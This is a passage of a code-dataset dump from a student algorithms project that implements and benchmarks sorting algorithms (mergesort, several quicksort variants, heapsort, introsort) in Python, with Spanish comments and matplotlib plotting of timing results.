Y.\n# nombre: nombre de la grafica\n\ndef dibujar_grafica(x, y, nombre):\n global num_graficas\n global marcadores\n global color_defecto\n global max_num_def_colores\n marca = marcadores[num_graficas % len(marcadores)]\n color = color_defecto + str(num_graficas % max_num_def_colores)\n x_new, y_new = puntos_cuadraticos(x, y)\n plt.plot(x_new, y_new)\n plt.plot(x, y, color+marca, label=nombre)\n num_graficas += 1\n\n#\n# Descripción: Muestra en pantalla el gráfico dibujado\n#\n# Parametros:\n# x_etiqueta: Etiqueta de las coordenadas del eje X.\n# y_etiqueta: Etiqueta de las coordenadas del eje Y.\n \ndef mostrar_grafico(x_etiqueta, y_etiqueta):\n plt.xlabel(x_etiqueta)\n plt.ylabel(y_etiqueta)\n plt.legend(loc=2)\n plt.legend(bbox_to_anchor=(0.05, 0.95), loc=2, borderaxespad=0.)\n plt.show()\n" }, { "alpha_fraction": 0.6015822887420654, "alphanum_fraction": 0.6161392331123352, "avg_line_length": 31.6614990234375, "blob_id": "6662d1353e9ccba9063fc72933cf238e3b4418d6", "content_id": "16d1916e2b9eac72868b848fd2b26169e820be34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12652, "license_type": "no_license", "max_line_length": 143, "num_lines": 387, "path": "/prueba_orderlib.py", "repo_name": "SabasGT/Proyecto1_Algos2", "src_encoding": "UTF-8", "text": "import argparse\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom orderlib import *\nfrom numpy.random import randint\nfrom numpy.random import rand\nfrom numpy.random import choice\nfrom random import randrange\nfrom time import perf_counter\nfrom math import sqrt\nfrom statistics import mean, stdev\n\nsys.setrecursionlimit(10000000)\n\n\"\"\"ARGPARSE\"\"\"\n\n# Inicializar el argparse\ntester = argparse.ArgumentParser(description='Script para comparar el tiempo de ejecucion de diversos algoritmos de ordenamiento')\n\n# Añadir los argumentos para el programa\ntester.add_argument('-i', help = \"Numero de veces que se ejecutará la prueba\", type = int)\ntester.add_argument('-t', help = \"Establece la prueba específica a ser llamada\", type = int)\ntester.add_argument('-g', help = \"Activa la creacion de la grafica de resultados obtenidos\", action = \"store_true\", default = False)\ntester.add_argument('Enteros', metavar='N', type=int, nargs='+', help='Un numero de elementos para las pruebas') # Recibe la entrada posicional\n\n# Procesamiento de los argumentos ingresados\nargs = tester.parse_args()\n\n# Inicializacion por default de las 3 variables pertinentes a los parámetros de las pruebas\nn = args.Enteros # Tamaño del arreglo\ni = 3 # Numero de pruebas\nt = 1 # Tipo de prueba\n\n# Recibir los argumentos\nif args.i:\n i = args.i\n\nif args.t:\n t = args.t\n\nif args.g:\n g = True\nelse:\n g = False\n\n\"\"\" MANEJO DE ERRORES Y ENTRADAS INVALIDAS \"\"\" \n\n# Manejo de Entrada de datos Incorrecta\ntry:\n assert(len(n) > 0 and int(i) > 0 and 1 <= int(t) <= 7)\nexcept:\n print(\"Valores Invalidos. n e i deben ser mayor que 0 y t debe estar entre 1 y 7.\")\n print(\"\\nEl programa terminara.\")\n tester.exit(status=0, message=\"\\nERROR = Datos invalidos\")\n\n# Verificar que haya al menos dos cantidades de elementos N para graficar\nif g:\n try:\n assert(len(n) >= 2)\n except:\n tester.exit(status=0, message=\"\\nSi activa -g debe introducir al menos 2 cantidades de elementos a probar.\")\n\n\n\"\"\" BIENVENIDA \"\"\"\n\n# Mostrar en la terminal los valores registrados\n\nprint(\"i=\" + str(i))\nprint(\"t=\" + str(t))\nprint(\"g=\" + str(g))\n\n\n\"\"\" FUNCIONES \"\"\"\n\n\ndef algos(Arr:list): # Funcion para ejecutar los algoritmos\n ArrCopy = Arr[:]\n\n # Corrida Mergesort\n start = perf_counter() # Inicio tiempo de ejecucion\n mergeSort(ArrCopy)\n end = perf_counter() # Fin tiempo de ejecucion\n time_select = (end - start)\n mergesort.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 1\")\n\n # Corrida Quicksort Iterativo\n start = perf_counter()\n quicksortIter(ArrCopy)\n end = perf_counter()\n time_select = (end - start)\n quick_iter.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 2\")\n \"\"\"\n # Corrida Quicksort\n start = perf_counter()\n quickSort(ArrCopy, 0, len(ArrCopy) - 1)\n end = perf_counter()\n time_select = (end - start)\n quick.append(time_select)\n \"\"\"\n ArrCopy = Arr[:]\n print(\"listo 3\")\n\n # Corrida Quicksort Median of 3\n start = perf_counter()\n quicksortMedian(ArrCopy, 0, len(ArrCopy) - 1)\n end = perf_counter()\n time_select = (end - start)\n quick_median.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 4\")\n\n # Corrida Introsort\n start = perf_counter()\n introSort(ArrCopy, 0, len(ArrCopy) - 1)\n end = perf_counter()\n time_select = (end - start)\n intro.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 5\")\n\n # Corrida Quicksort with 3-way-partitioning\n start = perf_counter()\n quicksortThreeWay(ArrCopy, 0, len(ArrCopy) - 1)\n end = perf_counter()\n time_select = (end - start)\n quick_way.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 6\")\n\n # Corrida Dual Pivot Quicksort\n start = perf_counter()\n quicksortDual(ArrCopy, 0, len(ArrCopy) - 1)\n end = perf_counter()\n time_select = (end - start)\n quick_dual.append(time_select)\n\n ArrCopy = Arr[:]\n print(\"listo 7\")\n\n # Corrida Timsort\n start = perf_counter()\n sorted(ArrCopy)\n end = perf_counter()\n time_select = (end - start)\n tim.append(time_select)\n\n print(\"listo 8\")\n\n\ndef mostrar_resultados(size): # Funcion para mostrar en pantalla los resultados de las pruebas acordes\n print(\"\\nAnalisis para arreglo de \" + str(n[size]) + \" elementos.\")\n\n print(\"\\nTiempo de ejecucion promedio de Mergesort: \" + str(\"{0:.2f}\".format(mean(mergesort))) + \"s.\" + \n \" STD: \" + str(\"{0:.2f}\".format(stdev(mergesort))) + \"s.\" )\n promedios_merge.append(mean(mergesort))\n\n print(\"\\nTiempo de ejecucion promedio de Quicksort Iterativo: \" + str(\"{0:.2f}\".format(mean(quick_iter))) + \"s.\" +\n \" STD: \" + str(\"{0:.2f}\".format(stdev(quick_iter))) + \"s.\")\n promedios_quickIter.append(mean(quick_iter))\n\n print(\"\\nTiempo de ejecucion promedio de Quicksort: \" + str(\"{0:.2f}\".format(mean(quick))) + \"s.\" + \n \" STD: \" + str(\"{0:.2f}\".format(stdev(quick))) + \"s.\")\n promedios_quick.append(mean(quick))\n\n print(\"\\nTiempo de ejecucion promedio de Median-of-3 Quicksort: \" + str(\"{0:.2f}\".format(mean(quick_median))) + \"s.\" +\n \" STD: \" + str(\"{0:.2f}\".format(stdev(quick_median))) + \"s.\") \n promedios_quickMedian.append(mean(quick_median))\n\n print(\"\\nTiempo de ejecucion promedio de Introsort: \" + str(\"{0:.2f}\".format(mean(intro))) + \"s.\" + \n \" STD: \" + str(\"{0:.2f}\".format(stdev(intro))) + \"s.\" )\n promedios_intro.append(mean(intro))\n\n print(\"\\nTiempo de ejecucion promedio de Quicksort con 3-way-partitioning: \" + str(\"{0:.2f}\".format(mean(quick_way))) + \"s.\" +\n \" STD: \" + str(\"{0:.2f}\".format(stdev(quick_way))) + \"s.\")\n promedios_quickWay.append(mean(quick_way))\n\n print(\"\\nTiempo de ejecucion promedio de Dual Pivot Quicksort: \" + str(\"{0:.2f}\".format(mean(quick_dual))) + \"s.\" + \n \" STD: \" + str(\"{0:.2f}\".format(stdev(quick_dual))) + \"s.\")\n promedios_quickDual.append(mean(quick_dual))\n\n print(\"\\nTiempo de ejecucion promedio de Timsort: \" + str(\"{0:.2f}\".format(mean(tim))) + \"s.\" +\n \" STD: \" + str(\"{0:.2f}\".format(stdev(tim))) + \"s.\") \n promedios_tim.append(mean(tim))\n\n\ndef mensaje_Inicial(t:int, size:int): # Funcion para mostrar en pantalla una bienvenida y contexto al programa\n if t == 1:\n print(\"\\nMostrando resultados de la prueba 1: Punto flotante para el arreglo de tamanyo \" + str(n[size]) + \".\")\n \n elif t == 2:\n print(\"\\nMostrando resultados de la prueba 2: Ordenado para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n elif t == 3:\n print(\"\\nMostrando resultados de la prueba 3: Ordenado Inverso para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n elif t == 4:\n print(\"\\nMostrando resultados de la prueba 4: Cero-Uno para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n elif t == 5:\n print(\"\\nMostrando resultados de la prueba 5: Mitad para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n elif t == 6:\n print(\"\\nMostrando resultados de la prueba 6: Casi ordenado 1 para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n elif t == 7:\n print(\"\\nMostrando resultados de la prueba 7: Casi ordenado 2 para el arreglo de tamanyo \" + str(n[size]) + \".\")\n\n\ndef generadorArr(t:int, n:int) -> list: # Funciona para generar arreglos aletorios dependiendo del caso suministrado\n # t es un entero que indica cual prueba de la 1 a la 7 se va a realizar y n es el entero que señala el numero\n # de elementos que tendran de los arreglos generados.\n # assert(1 <= t <= 7 and n >= 0)\n\n def arreglo5(n:int):\n # Funcion que se encarga de generar el arreglo \"Mitad\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n arreglo = [0]*n\n for i in range(n//2):\n arreglo[i] = i + 1\n arreglo[n - i - 1] = i + 1\n\n return arreglo\n\n \n def arreglo6(n:int):\n # Funcion que se encarga de generar el arreglo \"Casi ordenado 1\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n ordenado = sorted(randint(0, n + 1, n))\n i = 0\n while i != 16:\n k = randrange(0, n - 8)\n ordenado[k], ordenado[k + 8] = ordenado[k + 8], ordenado[k]\n i += 1\n\n return ordenado\n\n \n def arreglo7(n:int):\n # Funcion que se encarga de generar el arreglo \"Casi ordenado 2\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n ordenado = sorted(randint(0, n + 1, n))\n i = 0\n while i != (n//4):\n print(i)\n k = randrange(0, n - 4)\n ordenado[k], ordenado[k + 4] = ordenado[k + 4], ordenado[k]\n i += 1\n\n return ordenado\n\n\n if t == 1:\n Arr = rand(n) # Punto Flotante\n elif t == 2:\n Arr = sorted(randint(0, n + 1, n)) # Arreglo ordenado de enteros \n elif t == 3:\n Arr = sorted(randint(0, n + 1, n), reverse = True) # Arreglo ordenado a la inversa de enteros\n elif t == 4:\n Arr = choice([0, 1], size=(n)) # Arreglo de 0 y 1\n elif t == 5:\n Arr = arreglo5(n) # Arreglo de la forma (1, 2,..., N/2, N/2,...,2,1)\n elif t == 6:\n Arr = arreglo6(n) # Arreglo casi ordenado 1\n elif t == 7:\n Arr = arreglo7(n) # Arreglo casi ordenado 2\n \n return Arr\n\n\n\"\"\" FUNCIONES GRAFICAS \"\"\"\nnum_graficas = 0\nmarcadores = ['.', 'o', '*', '+', 'v', ',', '^', '<', '>', '1', '2', '3', '4', '5', '6', '7', '8', 's', 'p', 'P']\ncolor_defecto = \"C\"\nmax_num_def_colores = 10\n\n#\n# Descripción: Encuentra el mejor ajuste de un conjunto de puntos\n# a un polinomio de orden cuadrático\n#\n# Parametros:\n# x: Lista con las coordenadas del eje X.\n# y: Lista con las coordenadas del eje Y.\n#\ndef puntos_cuadraticos(x, y):\n fit = np.polyfit(x,y,2)\n fit_fn = np.poly1d(fit)\n x_new = np.linspace(x[0], x[-1], 50)\n y_new = fit_fn(x_new)\n return x_new, y_new \n\n#\n# Descripción: Dibuja puntos en el plano de la gráfica\n#\n# Parametros:\n# x: Lista con las coordenadas del eje X.\n# y: Lista con las coordenadas del eje Y.\n# nombre: nombre de la grafica\n\ndef dibujar_grafica(x, y, nombre):\n global num_graficas\n global marcadores\n global color_defecto\n global max_num_def_colores\n marca = marcadores[num_graficas % len(marcadores)]\n color = color_defecto + str(num_graficas % max_num_def_colores)\n x_new, y_new = puntos_cuadraticos(x, y)\n plt.plot(x_new, y_new)\n plt.plot(x, y, color+marca, label=nombre)\n num_graficas += 1\n\n#\n# Descripción: Muestra en pantalla el gráfico dibujado\n#\n# Parametros:\n# x_etiqueta: Etiqueta de las coordenadas del eje X.\n# y_etiqueta: Etiqueta de las coordenadas del eje Y.\n \ndef mostrar_grafico(x_etiqueta, y_etiqueta):\n plt.xlabel(x_etiqueta)\n plt.ylabel(y_etiqueta)\n plt.legend(loc=2)\n plt.legend(bbox_to_anchor=(0.05, 0.95), loc=2, borderaxespad=0.)\n plt.show()\n\n\ndef display_graph(): # Funcion para llamar al graficador\n dibujar_grafica(n, promedios_merge, \"Mergesort\")\n dibujar_grafica(n, promedios_quickIter, \"Quicksort Iterativo\")\n dibujar_grafica(n, promedios_quick, \"Quicksort\")\n dibujar_grafica(n, promedios_quickMedian, \"Quicksort Median-of-3\")\n dibujar_grafica(n, promedios_intro, \"Introsort\")\n dibujar_grafica(n, promedios_quickWay, \"Quicksort with 3-way-partition\")\n dibujar_grafica(n, promedios_tim, \"Timsort\")\n\n mostrar_grafico(\"Numero de elementos\", \"Tiempo(seg)\")\n\n\"\"\" COMIENZA EL PROGRAMA \"\"\"\n\n# Inicializar arreglos que almacenaran el tiempo promedio de corrida para cada N-corrida introducida en la linea de comandos.\n\npromedios_merge = []\npromedios_quickIter = []\npromedios_quick = []\npromedios_quickMedian = []\npromedios_intro = []\npromedios_quickWay = []\npromedios_quickDual = []\npromedios_tim = []\n\nfor size in range(len(n)): # Ciclo para evaluar todos los elementos suministrados por el usuario\n\n mensaje_Inicial(t, size)\n\n # Inicializar arreglos para almacenar los tiempos de cada corrida en cada N distinto\n mergesort = []\n quick_iter = []\n quick = []\n quick_median = []\n intro = []\n quick_way = []\n quick_dual = []\n tim = []\n\n for k in range(i): # Ciclo interno para realizar todas las pruebas i-veces\n arreglo = generadorArr(t, n[size])\n algos(arreglo)\n \n mostrar_resultados(size)\n\n# Mostrar la grafica resultante en pantalla si -g fue llamado\n\nif g:\n display_graph() " }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 24.5, "blob_id": "e3649bdeee376aa3405f8b0202f2423ac25f2ade", "content_id": "2d463f56c8c2e49538b4d46ccd661b1dffb29574", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 51, "license_type": "no_license", "max_line_length": 31, "num_lines": 2, "path": "/README.md", "repo_name": "SabasGT/Proyecto1_Algos2", "src_encoding": "UTF-8", "text": "# Proyecto1_Algos2\nPrimer Proyecto de Algoritmos 2\n" }, { "alpha_fraction": 0.5090242624282837, "alphanum_fraction": 0.5375070571899414, "avg_line_length": 25.46268653869629, "blob_id": "ca649e3d45e918f84968f24602e502b7739c17f7", "content_id": "fbc374ed14043a956bf53a0b8dc79d338fcb926f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3547, "license_type": "no_license", "max_line_length": 116, "num_lines": 134, "path": "/prueba.py", "repo_name": "SabasGT/Proyecto1_Algos2", "src_encoding": "UTF-8", "text": "\nimport numpy as np\nfrom orderlib import *\nfrom numpy.random import randint\nfrom numpy.random import rand\nfrom numpy.random import choice\nfrom random import randrange\nimport sys\n\nsys.setrecursionlimit(1000000000)\n\ndef generadorArr(t:int, n:int) -> list: # Funciona para generar arreglos aletorios dependiendo del caso suministrado\n # t es un entero que indica cual prueba de la 1 a la 7 se va a realizar y n es el entero que señala el numero\n # de elementos que tendran de los arreglos generados.\n # assert(1 <= t <= 7 and n >= 0)\n\n def arreglo5(n:int):\n # Funcion que se encarga de generar el arreglo \"Mitad\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n arreglo = [0]*n\n for i in range(n//2):\n arreglo[i] = i + 1\n arreglo[n - i - 1] = i + 1\n\n return arreglo\n\n \n def arreglo6(n:int):\n # Funcion que se encarga de generar el arreglo \"Casi ordenado 1\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n ordenado = sorted(randint(0, n + 1, n))\n i = 0\n while i != 16:\n k = randrange(0, n - 8)\n ordenado[k], ordenado[k + 8] = ordenado[k + 8], ordenado[k]\n i += 1\n\n return ordenado\n\n \n def arreglo7(n:int):\n # Funcion que se encarga de generar el arreglo \"Casi ordenado 2\"\n # n es el numero de elementos del arreglo.\n # assert(n >= 0)\n ordenado = sorted(randint(0, n + 1, n))\n i = 0\n while i != (n//4):\n k = randrange(0, n - 4)\n ordenado[k], ordenado[k + 4] = ordenado[k + 4], ordenado[k]\n i += 1\n\n return ordenado\n\n\n if t == 1:\n Arr = rand(n) # Punto Flotante\n elif t == 2:\n Arr = sorted(randint(0, n + 1, n)) # Arreglo ordenado de enteros \n elif t == 3:\n Arr = sorted(randint(0, n + 1, n), reverse = True) # Arreglo ordenado a la inversa de enteros\n elif t == 4:\n Arr = choice([0, 1], size=(n)) # Arreglo de 0 y 1\n elif t == 5:\n Arr = arreglo5(n) # Arreglo de la forma (1, 2,..., N/2, N/2,...,2,1)\n elif t == 6:\n Arr = arreglo6(n) # Arreglo casi ordenado 1\n elif t == 7:\n Arr = arreglo7(n) # Arreglo casi ordenado 2\n \n return Arr\n\ndef algos(Arr:list): # Funcion para ejecutar los algoritmos\n ArrCopy = list(Arr)\n\n # Corrida Mergesort\n mergeSort(Arr)\n\n Arr = list(ArrCopy)\n print(\"listo 1\")\n\n # Corrida Quicksort Iterativo\n quicksortIter(Arr) \n\n Arr = list(ArrCopy)\n print(\"listo 2\")\n\n # Corrida Quicksort \n quickSort(Arr, 0, len(Arr) - 1) \n\n Arr = list(ArrCopy)\n print(\"listo 3\")\n\n \n # Corrida Quicksort Median of 3 \n quicksortMedian(Arr, 0, len(Arr) - 1) \n \n\n Arr = list(ArrCopy)\n print(\"listo 4\")\n\n # Corrida Introsort\n introSort(Arr, 0, len(Arr) - 1) \n\n Arr = list(ArrCopy)\n print(\"listo 5\")\n\n \"\"\"\n # Corrida Quicksort with 3-way-partitioning\n quicksortThreeWay(Arr, 0, len(Arr) - 1) \n \"\"\"\n\n Arr = list(ArrCopy)\n print(\"listo 6\")\n\n # Corrida Dual Pivot Quicksort\n quicksortDual(Arr, 0, len(Arr) - 1)\n\n Arr = list(ArrCopy)\n print(\"listo 7\")\n\n # Corrida Timsort\n sorted(Arr)\n\n print(\"listo 8\")\n\n\nt = 7\nn = 32000\n\nA = generadorArr(t,n)\nprint(A)\nquickSort(A,0,n - 1)\nprint(A)" }, { "alpha_fraction": 0.5205931067466736, "alphanum_fraction": 0.541790246963501, "avg_line_length": 22.651948928833008, "blob_id": "2fc8c7ac8289f4064223e6236d48a176cf62ecf5", "content_id": "a437a8e5f7d7bbddd6add6388a0b2461d6556953", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9105, "license_type": "no_license", "max_line_length": 104, "num_lines": 385, "path": "/orderlib.py", "repo_name": "SabasGT/Proyecto1_Algos2", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom statistics import median\nfrom math import log\nfrom math import floor\n\ndef insertionSort(A:list) -> \"list\":\n\t# Insertionsort tan solo recibe el arreglo a ser ordenado\n\t# assert(len(A)>0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tfor i in range(1, len(A)):\n\t\tkey = A[i]\n\t\tj = i - 1\n\t\twhile j >= 0 and A[j] > key:\n\t\t\tA[j + 1] = A[j]\n\t\t\tj -= 1\n\t\tA[j + 1] = key\n\treturn A\n\n\ndef merge(L:list, R:list, A:list) -> \"void\":\n\t# Merge se encarga de recibir 3 listas, 2 listas L y R las cuales combina en la lista A.\n\tinfinito = float(\"inf\")\n\ti, j = 0,0\n\n\tL = np.concatenate((L, [infinito]))\n\tR = np.concatenate((R, [infinito]))\n\n\tfor k in range(0, (len(L) + len(R)) - 2):\n\t\tif L[i] < R[j]:\n\t\t\tA[k] = L[i]\n\t\t\ti += 1\n\t\telse:\n\t\t\tA[k] = R[j]\n\t\t\tj += 1\n\n\ndef mergeSort(A:list) -> \"void\":\n\t# Mergesort tan solo recibe el arreglo a ser ordenado\n\t# assert(len(A)>0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tif len(A) <= 32:\n\t\tinsertionSort(A)\n\telse:\n\t\tU = A[0:(len(A)//2)]\n\t\tV = A[(len(A)//2):len(A)]\n\t\tmergeSort(U)\n\t\tmergeSort(V)\n\t\tmerge(U, V, A)\n\n\ndef quicksortIter(A:list) -> \"void\":\n\t# Quicksort tan solo recibe el arreglo a ser ordenado\n\t# assert(len(A)>0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tn, m = 0, 1\n\ttam = len(A)\n\n\twhile m < tam:\n\t\tn, m = n + 1, m * 2\n\tk, p, q = 0, 0, tam\n\n\tx = [0] * n\n\ty = [0] * n\n\n\twhile (k != 0) or (q - p >= 2):\n\t\tif (q - p <= 1):\n\t\t\tk = k - 1\n\t\t\tp = x[k]\n\t\t\tq = y[k]\n\t\telif (q - p >= 2):\n\t\t\tz = A[(p + q) // 2]\n\t\t\tr, w, b = p, p , q\n\t\t\twhile w != b:\n\t\t\t\tif A[w] < z:\n\t\t\t\t\tA[r], A[w] = A[w], A[r]\n\t\t\t\t\tr, w = r + 1, w + 1\n\t\t\t\telif A[w] == z:\n\t\t\t\t\tw = w + 1\n\t\t\t\telif A[w] > z:\n\t\t\t\t\tb = b - 1\n\t\t\t\t\tA[b], A[w] = A[w], A[b]\n\t\t\t\n\t\t\tif r - p <= q - w:\n\t\t\t\tx[k] = w\n\t\t\t\ty[k] = q\n\t\t\t\tq = r\n\t\t\telif q - w <= r - p:\n\t\t\t\tx[k] = p\n\t\t\t\ty[k] = r\n\t\t\t\tp = w\n\t\t\tk += 1\n\n\ndef insertionSortIndex(A:list, p:int, r:int):\n\t# InsertionsortIndez recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 p y r.\n\t# Para una correcta inicializacion, p debe ser 0 y r debe ser la longitud de A (len(A)).\n\t# assert(len(A)>0 and p >= 0 and r >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tfor j in range(p,r):\n\t\tkey = A[j]\n\t\ti = j-1\n\t\twhile i>=0 and A[i]>key:\n\t\t\tA[i+1] = A[i]\n\t\t\ti -= 1\n\t\tA[i+1] = key\n\n\ndef partition(A:list, p:int, r:int) -> int:\n\t# Partition recibe la lista a ordenar A y los enteros mayores o iguales que 0 p y r.\n\tx = A[r]\n\ti = p-1\n\tfor j in range(p,r):\n\t\tif A[j]<=x:\n\t\t\ti+=1\n\t\t\tA[i],A[j]=A[j],A[i]\n\tA[i+1],A[r]=A[r],A[i+1]\n\treturn i+1\n\n\ndef quickSort(A:list, p:int, r:int) -> \"void\":\n\t# Quicksort recibe la lista A a ordenar y los enteros p y r mayores o iguales que 0.\n\t# Para una correcta inicializacion p debe ser 0 y r la longitud de A (len(A)).\n\t# assert(len(A)>0 and p >= 0 and r >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tif p + r + 1 <= 32:\n\t\tinsertionSortIndex(A, p, r)\n\telif p < r:\n\t\tq = partition(A,p,r)\n\t\tquickSort(A,p,q-1)\n\t\tquickSort(A,q,r)\n\n\ndef right(i:int) -> int:\n\t# Right solo se encarga de recibir un entero i y obtener un valor k = 2i + 1.\n\t# assert(i >= 0)\n\t# assert(k = 2*i + 1)\n\treturn 2*i + 1\n\n\ndef left(i:int) -> int:\n\t# Left solo se encarga de recibir un entero i y obtener un valor k = 2i.\n\t# assert(i >= 0)\n\t# assert(k = 2*i)\n\treturn 2*i\n\n\ndef max_heapify(A:list, i:int, n:int) -> \"void\":\n\t# Max_Heapify recibe la lista A y los enteros mayores o iguales que 0 i e n.\n\tif i == 0:\n\t\tl,r=1,2\n\telse:\n\t\tl,r = left(i),right(i)\n\tif l<n and A[l]>A[i]:\n\t\tmayor = l\n\telse:\n\t\tmayor = i\n\tif r<n and A[r]>A[mayor]:\n\t\tmayor = r\n\tif mayor != i:\n\t\tA[i],A[mayor]=A[mayor],A[i]\n\t\tmax_heapify(A,mayor,n)\n\n\ndef build_max_heap(A:list, f:int, b:int) -> \"void\":\n\t# Build_Max_Heap recibe la lista A y los enteros f y b mayores o iguales que 0.\n\tfor i in range(b//2, f - 1, -1):\n\t\tmax_heapify(A, i, b)\n\n\ndef heapSort(A:list, f:int, b:int) -> \"void\":\n\t# Heapsort recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 f y b.\n\t# Para una correcta inicializacion, f debe ser 0 y b debe ser la longitud de A menos 1 (len(A) - 1).\n\t# assert(len(A)>0 and f >= 0 and b >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tbuild_max_heap(A, f, b)\n\tfor i in range(b, f,-1):\n\t\tA[0], A[i] = A[i], A[0]\n\t\tmax_heapify(A,0, i)\n\n\ndef partitionLoop(A:list, p:int, r:int, x:int) -> \"int\":\n\t# Partition_Loop recibe la lista A y los enteros mayores o iguales que 0 p, r y x.\n\ti = p\n\tj = r-1\n\twhile True:\n\t\twhile A[j] > x:\n\t\t\tj = j - 1\n\n\t\twhile A[i] < x:\n\t\t\ti = i + 1\n\t\tif i < j:\n\t\t\tA[i], A[j] = A[j], A[i]\n\t\telse:\n\t\t\treturn j\n\n\ndef quicksortLoop(A:list, f:int, b:int) -> \"void\":\n\t# QuicksortLoop recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 f y b.\n\twhile b - f> 32:\n\t\tp = partitionLoop(A, f, b, median([A[f], A[f + ((b - f + 1)//2)], A[b]]))\n\t\tif (p - f) >= (b - p):\n\t\t\tquicksortLoop(A, p, b)\n\t\t\tb = p\n\t\telse:\n\t\t\tquicksortLoop(A, f, p)\n\t\t\tf = p\n\n\ndef quicksortMedian(A:list, f:int, b:int) -> \"void\":\n\t# QuicksortMedian recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 f y b.\n\t# Para una correcta inicializacion, f debe ser 0 y b debe ser la longitud de A menos 1 (len(A) - 1).\n\t# assert(len(A)>0 and f >= 0 and b >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tquicksortLoop(A, f, b)\n\tinsertionSortIndex(A, f, b)\n\n\ndef introsortLoop(A:list, f:int, b:int, depthLim:int) -> \"void\":\n\t# QuicksortLoop recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 f, b y depthLim.\n\twhile (b - f) > 32:\n\t\tif depthLim == 0:\n\t\t\theapSort(A, f, b)\n\t\t\treturn\n\t\tdepthLim = depthLim - 1\n\t\tp = partitionLoop(A, f, b, median([A[f], A[f + ((b - f + 1)//2)], A[b]]))\n\t\tintrosortLoop(A, p, b, depthLim)\n\t\tb = p\n\n\ndef introSort(A:list, f:int, b:int) -> \"void\":\n\t# Introsort recibe la lista A a ser ordenada y los enteros mayores o iguales que 0 f y b.\n\t# Para una correcta inicializacion, f debe ser 0 y b debe ser la longitud de A menos 1 (len(A) - 1).\n\t# assert(len(A)>0 and f >= 0 and b >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tintrosortLoop(A, f, b, 2 * floor(log(b - f + 1, 2)))\n\tinsertionSortIndex(A, f, b)\n\ndef threewaypart(A:list,l:int,r:int):\n\ti,j = l,r-1\n\tp,q = l-1,r\n\tv = A[r]\n\twhile True:\n\t\twhile A[i]<v:\n\t\t\ti+=1\n\t\twhile v<A[j]:\n\t\t\tj-=1\n\t\t\tif j==l:\n\t\t\t\tbreak\n\t\tif i>=j:\n\t\t\tbreak\n\t\tA[i],A[j]=A[j],A[i]\n\t\tif A[i]==v:\n\t\t\tp+=1\n\t\t\tA[p],A[i]=A[i],A[p]\n\t\tif A[j]==v:\n\t\t\tq-=1\n\t\t\tA[j],A[q]=A[q],A[j]\n\tA[i],A[r]=A[r],A[i]\n\tj = i-1\n\ti+=1\n\tfor k in range(l,p):\n\t\tA[k],A[j]=A[j],A[k]\n\t\tj -=1\n\tfor k in range(r-1,q,-1):\n\t\tA[i],A[k]=A[k],A[i]\n\t\ti+=1\n\treturn i,j\n\n\n\ndef quicksortThreeWay(A:list, l:int, r:int):\n\t# QuicksortThreeWay recibe la lista A a ordenar y los enteros l y r mayores o iguales que 0.\n\t# Para una correcta inicializacion l debe ser 0 y r la longitud de A menos 1 (len(A) - 1).\n\t# assert(len(A)>0 and p >= 0 and r >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\t\n\tif len(A)<=32:\n\t\tinsertionSortIndex(A, l, r)\n\telif r>l:\n\t\ti,j = threewaypart(A,l,r)\n\t\tquicksortThreeWay(A, l, j)\n\t\tquicksortThreeWay(A, i, r)\n\n\ndef quicksortDual(A:list, left:int, right:int) -> \"void\":\n\t# QuicksortDual recibe la lista A a ordenar y los enteros left y right mayores o iguales que 0.\n\t# Para una correcta inicializacion left debe ser 0 y right la longitud de A menos 1 (len(A) - 1).\n\t# assert(len(A)>0 and p >= 0 and r >= 0) # Precondicion\n\t# assert(A == sorted(A_original)) # Postcondicion\n\tif (right - left + 1) <= 32:\n\t\tinsertionSortIndex(A, left, right + 1)\n\telse:\n\t\tif A[left] > A[right]:\n\t\t\tp = A[right]\n\t\t\tq = A[left]\n\t\telse:\n\t\t\tp = A[left]\n\t\t\tq = A[right]\n\t\t\n\t\tl = left + 1\n\t\tg, k = right - 1, l\n\t\twhile k <= g:\n\t\t\tif A[k] < p:\n\t\t\t\tA[k], A[l] = A[l], A[k]\n\t\t\t\tl += 1\n\t\t\telse:\n\t\t\t\tif A[k] >= q:\n\t\t\t\t\twhile A[g] > q and k < g:\n\t\t\t\t\t\tg -= 1\n\t\t\t\t\tif A[g] >= p:\n\t\t\t\t\t\tA[k], A[g] = A[g], 